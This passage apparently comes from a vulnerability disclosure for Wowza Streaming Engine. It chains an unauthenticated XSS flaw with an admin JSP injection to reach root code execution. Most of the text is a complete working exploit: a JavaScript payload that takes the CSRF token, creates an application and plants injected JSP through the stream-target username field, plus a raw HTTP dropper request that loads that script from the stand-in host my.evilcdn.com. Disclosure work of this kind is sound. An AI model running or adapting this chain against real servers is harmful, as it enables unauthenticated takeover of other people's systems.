The unauthenticated JavaScript injection can be chained with CVE-2024-52054, CVE-2024-52055, and CVE-2024-52056 to exfiltrate or delete any files on the server. However, in this case, we’ll chain CVE-2024-52053 with CVE-2024-52052, an admin-level JSP injection vulnerability, for server-side remote code execution as root. With this exploit, an unauthenticated attacker can plant a JavaScript payload in the administrator dashboard, then automatically execute arbitrary code on the server when the administrator views the dashboard.

Below is wowza.js, which should be hosted on any CDN. The proof-of-concept exploit will execute JSP code to create the file /tmp/rce.

async function hitPage(e) {
    const t = `${window.location.origin}/enginemanager/static/${e}.jsp`;
    try {
        const e = await fetch(t, {
            method: "GET",
            credentials: "include"
        });
        e.ok || console.error("failed to fetch targ:", e.status)
    } catch (e) {
        return console.error("error during fetch targ:", e), null
    }
}
async function getCSRFToken() {
    const e = `${window.location.origin}/enginemanager/Home.htm`;
    try {
        const t = await fetch(e, {
            method: "GET",
            credentials: "include"
        });
        if (!t.ok) return console.error("failed to fetch CSRF:", t.status), null;
        const o = await t.text(),
            a = new DOMParser,
            s = a.parseFromString(o, "text/html").querySelector('meta[name="wowzaSecurityToken"]');
        return s ? s.getAttribute("content") : (console.error("CSRF not found in resp"), null)
    } catch (e) {
        return console.error("error fetching CSRF:", e), null
    }
}
async function createApplication(e, t) {
    const o = window.location.origin,
        a = `${o}/enginemanager/applications/new.htm`,
        s = `uiAppName=${encodeURIComponent(e)}&ignoreWarnings=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appType=LiveEdge&primaryURL=`;
    try {
        const e = await fetch(a, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: s,
            credentials: "include"
        });
        e.ok ? console.log("app create!") : console.error("failed app create:", e.status)
    } catch (e) {
        console.error("app error:", e)
    }
}
async function setApplicationProperties(e, t) {
    const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/main/edit_adv.htm`,
        a = `vhost=_defaultVHost_&uiAppName=${encodeURIComponent(e)}&appType=${encodeURIComponent(e)}&section=main&advSection=Custom&customList%5B0%5D.documented=false&customList%5B0%5D.enabled=true&customList%5B0%5D.type=Boolean&customList%5B0%5D.sectionName=Application&customList%5B0%5D.section=%2FRoot%2FApplication&customList%5B0%5D.name=securityPublishRequirePassword&customList%5B0%5D.removed=false&customList%5B0%5D.uiBooleanValue=true&customList%5B1%5D.documented=false&customList%5B1%5D.enabled=true&customList%5B1%5D.type=String&customList%5B1%5D.sectionName=Application&customList%5B1%5D.section=%2FRoot%2FApplication&customList%5B1%5D.name=pushPublishMapPath&customList%5B1%5D.removed=false&customList%5B1%5D.value=%24%7Bcom.wowza.wms.context.VHostConfigHome%7D%2Fmanager%2Ftemp%2Fwebapps%2Fenginemanager%2Fstatic%2F${encodeURIComponent(e)}.jsp&advPath=%2FRoot%2FApplication&wowzaSecurityToken=${encodeURIComponent(t)}`;
    try {
        const e = await fetch(o, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: a, credentials: "include"
        });
        e.ok ? console.log("prop set!") : console.error("prop set fail:", e.status)
    } catch (e) {
        console.error("prop set error:", e)
    }
}
async function addStreamTarget(e, t) {
    const o = `${window.location.origin}/enginemanager/applications/${encodeURIComponent(e)}/streamtarget/add.htm`,
        a = `enabled=true&protocol=RTMP&destinationName=wowzastreamingengine&destApplicationRequired=true&destAppInstanceRequired=false&usernameRequired=false&passwordRequired=false&wowzaCloudDestinationType=&facebookUserName=&facebookAccessToken=&facebookDestName=&facebookDestId=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv2%2Fprod&wowzaFacebookAppId=670499806386098&wowzaCloudAdaptiveStreaming=true&protocolAkamai=RTMP&protocolShoutcast=shoutcast2&streamTargetName=x&sourceStreamName=x&sourceStreamNamePrefix=&shoutcastHost=&shoutcastPort=&shoutcastUsername=&shoutcastPassword=&shoutcastDestination=&shoutcastDescription=&shoutcastName=&shoutcastGenre=&shoutcastMetaFormat=&shoutcastURL=&shoutcastAIM=&shoutcastICQ=&shoutcastIRC=&_shoutcastPublic=on&destApplication=x&alibabaDestApplication=&destAppInstance=x&destHostRTMP=x&destPortRTMP=1935&destStreamNameRTMP=x&username=%3C%25%40+page+import%3D'java.io.*'+%25%3E%3C%25%40+page+import%3D'java.util.*'+%25%3E%3Ch1%3Ebbbaaaa%3C%2Fh1%3E+%3C%25+StringBuilder+filePath+%3D+new+StringBuilder()%3B+filePath.append('%2F').append('r').append('c').append('e')%3B+String+concatFile+%3D+filePath.toString()%3B+File+file+%3D+new+File(concatFile)%3B+file.createNewFile()%3B+%25%3E&password=x&alibabaDestPortRTMP=1935&alibabaDestStreamNameRTMP=&akamaiStreamIdRTMP=&_akamaiSendToBackupServer=on&destStreamNameRTP=&destHostRTP=&videoPort=&audioPort=&streamWaitTimeout=5000&timeToLiveRTP=63&srtDestHost=&srtDestPort=&srtLatency=400&srtTooLatePacketDrop=true&_srtTooLatePacketDrop=on&srtTimestampBasedDeliveryMode=true&_srtTimestampBasedDeliveryMode=on&srtSendBufferSize=12058624&srtSendBufferSizeUDP=65536&srtMaximumSegmentSize=1500&srtFlightFlagSize=25600&srtMaximumBandwidth=-1&srtInputBandwidth=0&srtOverheadBandwidth=25&srtConnectTimeout=3000&srtStreamId=&srtPeerIdleTimeout=5000&srtTimesToPrintStats=0&srtKeyLength=AES-128&srtPassPhrase=&srtKeyRefreshRate=16777216&srtKeyAnnounce=4096&destStreamNameMPEGTS=&destHostMPEGTS=&destPortMPEGTS=1935&timeToLiveMPEGTS=63&_rtpWrap=on&destStreamNameHTTP=&destHostHTTPAkamai=&playbackHost=&akamaiStreamIdHTTP=&akamaiHostId=&httpPlaylistCount=0&akamaiEventName=&adaptiveGroup=&akamaiDestinationServer=primary&cupertinoRenditionAudioVideo=true&_cupertinoRenditionAudioVideo=on&_cupertinoRenditionAudioOnly=on&sanjoseRepresentationId=&mpegdashVideoRepresentationId=&mpegdashAudioRepresentationId=&facebookTitle=&facebookDescription=&facebook360Projection=none&facebookDestType=timeline&facebookPrivacy=onlyMe&wowzaVideoRegion=us&wowzaVideoTranscoderRegion=asia_pacific_australia&wowzaVideoTranscoderHeight=720&wowzaVideoTranscoderWidth=1280&wowzaVideoApiToken=&connectionCode=&_autoStart=on&wowzaCloudABRRadio=multiple&wowzaCloudDestinationServer=primary&debugLog=false&debugLogChildren=false&sendSSL=false&secureTokenSharedSecret=&adaptiveStreaming=false&sendFCPublish=true&sendReleaseStream=true&sendStreamCloseCommands=true&removeDefaultAppInstance=true&sendOriginalTimecodes=true&originalTimecodeThreshold=0x100000&connectionFlashVersion=&queryString=&localBindAddress=&debugPackets=false&akamaiHdNetwork=true&httpPlaylistAcrossSessions=false&httpPlaylistTimeout=120000&httpFakePosts=false&httpWriterDebug=false&wowzaSecurityToken=${encodeURIComponent(t)}&vhost=_defaultVHost_&appName=${encodeURIComponent(e)}&apiToken=`;
    try {
        const e = await fetch(o, {
            method: "POST",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
            },
            body: a,
            credentials: "include"
        });
        e.ok ? console.log("stream target set!") : console.error("failed stream targ set:", e.status)
    } catch (e) {
        console.error("stream targ error:", e)
    }
}(async () => {
    const e = "PushPublishMap",
        t = await getCSRFToken();
    t && (await createApplication(e, t), await setApplicationProperties(e, t), await addStreamTarget(e, t), await hitPage(e))
})();

The XSS dropper web request, which is performed by an unauthenticated attacker, is below. This will poison the dashboard and automatically trigger server-side remote code execution when an admin views the poisoned interface.

POST /enginemanager/j_spring_security_check?wowza-page-redirect= HTTP/1.1
Host: TARGET:8088
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

wowza-page-redirect=&j_username=x"<img src=x onerror="(function() {var mal=document.createElement('script');mal.src = 'http://my.evilcdn.com/wowza.js';document.head.appendChild(mal);})();"</script> />&j_password=x&host=http://localhost:8087

After an administrator views the dashboard, remote code execution is established.

Screenshot depicting tainted data being concatenated